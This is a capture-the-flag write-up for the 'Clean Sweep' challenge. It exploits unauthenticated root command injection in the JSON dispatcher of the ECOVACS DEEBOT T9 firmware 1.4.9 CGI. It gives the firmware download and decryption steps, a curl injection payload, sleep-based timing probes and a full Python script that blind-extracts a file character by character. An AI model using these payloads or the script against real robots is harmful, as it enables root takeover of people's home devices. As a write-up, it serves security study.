Clean Sweep

ECOVACS DEEBOT T9 firmware 1.4.9 — `reqDo`'s JSON command dispatcher builds a string with `sprintf` and hands it to `popen()`

2026.09.30 NNS CTF 2026 176 pts boot2root
FLAG NNS{tHi5_1s_0lD_f1Rmw4re_50_0fc_this_i5_e45Y_for_y0u}

Description: The NNS house has never been cleaner, but our old ECOVACS DEEBOT T9 AIVI is still running firmware 1.4.9 from 2021. We extracted the web CGI from that firmware and are hosting it here for you. The floors may be spotless. The firmware is another story. Can you sweep through it and get root?

Target: live instancer, https://clean-sweep-<id>.chall.nnsc.tf (nginx in front of the real device’s GoAhead web server), flag at /root/flag.txt.

No file was attached to the challenge — only the running instance.

Recon

Every request to the instance returns HTTP 200 with an empty application/json body, regardless of path — including totally nonexistent paths. This is GoAhead’s own catch-all handler (confirmed by the Server: nginx/1.22.1 header plus GoAhead’s distinctive Unsupported method / Document Error: Not Found text on a couple of prefixes), so a normal 200-vs-404 directory scan is useless for finding the real endpoint — almost everything “succeeds” and is fake.

The only way to fingerprint anything real is to look for GoAhead’s genuine 404 page, which only fires for a handful of prefixes (anything that isn’t handled by the generic fallback route).

Getting the real firmware

The description gives away the exact target: ECOVACS DEEBOT T9 AIVI, firmware 1.4.9. That firmware is downloadable for real, since ECOVACS serves it straight from their OTA API. Using denysvitali/ecovacs-firmware-tools (model id 659yh8 = DEEBOT T9 AIVI):

go build -o ecovacs-firmware-tools .
./ecovacs-firmware-tools download --models 659yh8 --download -o fw_download
./ecovacs-firmware-tools decrypt -o fw_extracted fw_download/659yh8_fw0_v1.4.9_*.bin

This pulls down 659yh8_fw0_v1.4.9_1de7de90.bin (59,611,104 bytes) and decrypts it (AES-128-CBC, per-section keys) into 6 sections — manifest, pre/post-upgrade scripts, normal_boot.bin, normal_fs.img, mcu.img. manifest.json confirms "fw_ver": "1.4.9", "product": "T9AF_px30" — an exact match for the challenge.

normal_fs.img is a SquashFS image:

unsquashfs -d rootfs fw_extracted/normal_fs.img

Inside rootfs/etc/www/ sits the real local web server config:

  • reqDo — an unstripped ARM64 ELF, the actual CGI binary
  • route.txt — GoAhead route table
  • auth.txt — a hardcoded user joshua (bcrypt-ish hash, unused here)

route.txt:

route uri=/action handler=action
route uri=/ extensions=jst,asp handler=jst
route uri=/ extension=cgi|fcgi|mycgi handler=cgi
route uri=/ methods=OPTIONS|TRACE handler=options
route uri=/auth/basic/ auth=basic abilities=create,edit,view
route uri=/ auth=form handler=continue redirect=401@/pub/login.html

Any URL ending in .cgi/.fcgi/.mycgi gets forked to the matching file under the web root as a classic CGI process (REQUEST_METHOD, CONTENT_TYPE, CONTENT_LENGTH env vars — confirmed by strings reqDo). Everything else falls through to the generic catch-all — exactly the behavior observed on the live instance. So the real target endpoint on the live CTF box is simply /reqDo.cgi (the firmware ships the binary without the extension; the challenge’s deployment serves it under that name).

The vulnerability

strings reqDo reveals a JSON-driven command dispatcher (td field selects the action: GetWCInfo, GetDevInfo, GetCredential, GetNetworkLog, SetApConfig, SetFct), which builds a shell command line via unsanitized sprintf/format strings and runs it through popen():

td=SetFct did=%s password=%s type=%s sc=%d lb=%s %s
td="SetApConfig" SSID="%s" PASSPHRASE="%s" sc="%s" sck2="%s" lb="%s" %s

did, password, type, lb (and the SetApConfig fields) are spliced straight into the command string with no escaping — classic unauthenticated OS command injection, and reqDo runs as root.

curl -s https://clean-sweep-<id>.chall.nnsc.tf/reqDo.cgi \
  -H 'Content-Type: application/json' \
  -d '{"td":"SetFct","did":"x;id;x","password":"x","type":"x","lb":"x"}'

Blind exfiltration

The HTTP response body is always empty (confirmed even for legitimate Get* queries) — this environment strips all output, so it’s a fully blind injection. The only usable oracle is timing: append sleep N to the injected payload and measure the round-trip time.

did = x;sleep 5;x        -> ~5s slower than baseline  => shell executes
did = x;id | grep -q root && sleep 4;x  -> delayed     => running as root
did = x;test -r /root/flag.txt && sleep 4;x -> delayed => flag is readable

From there, a per-character blind extraction against /root/flag.txt, comparing with a cut -c$i + string equality gated by sleep:

import requests, time

URL = "https://clean-sweep-<id>.chall.nnsc.tf/reqDo.cgi"
CHARSET = ("ABCDEFGHIJKLMNOPQRSTUVWXYZ"
           "abcdefghijklmnopqrstuvwxyz0123456789_{}-!@#.,:;+=()"
           "% ^&*<>?~|/[]")

def probe(did, timeout=6):
    t0 = time.time()
    try:
        requests.post(URL, json={"td": "SetFct", "did": did,
                                  "password": "x", "type": "x", "lb": "x"},
                       timeout=timeout)
    except requests.exceptions.Timeout:
        return False
    return time.time() - t0 > 1.5

def shq(c):  # single-quote the candidate so no shell metachar needs escaping
    return "\"'\"" if c == "'" else f"'{c}'"

flag = ""
i = 1
while True:
    found = None
    for c in CHARSET:
        cmd = f'x;v=$(cut -c{i} /root/flag.txt); [ "$v" = {shq(c)} ] && sleep 3;x'
        if probe(cmd):
            found = c
            break
    if found is None:
        break
    flag += found
    i += 1

print(flag)

Single-quoting the candidate character (instead of double-quoting + backslash-escaping) turned out to matter a lot in practice: with double-quote escaping, a handful of characters (a literal 0, in this run) produced silent false negatives — almost certainly a quoting edge case between the JS→JSON→C-JSON-parser→popen chain — which cost a lot of time chasing a “missing” character that was actually just mis-escaped. Wrapping the candidate in single quotes sidesteps virtually all shell metacharacter issues (backtick, $, \, " all become inert) and was fully reliable.

Two more practical gotchas:

  • The CGI backend appears to be single-threaded/serialized — firing off requests without adequate pacing (or leaving an unbounded background loop running while doing something else) causes later requests to queue up behind earlier ones, making the timing oracle look like every candidate is “true.” Always pace requests (≥300 ms) and never have two extraction loops running concurrently against the same instance.
  • Always wrap the timing probe in a client-side AbortController/timeout. A malformed injected command (e.g. an unbalanced quote) can make the spawned shell hang indefinitely; without a hard client-side timeout this wedges the tab (and, if the server truly serializes requests, can look like the whole instance died — restarting the instancer fixes it, but it’s better to never hang in the first place).

Flag

NNS{tHi5_1s_0lD_f1Rmw4re_50_0fc_this_i5_e45Y_for_y0u}

(“this is old firmware, so ofc this is easy for you”)

#iot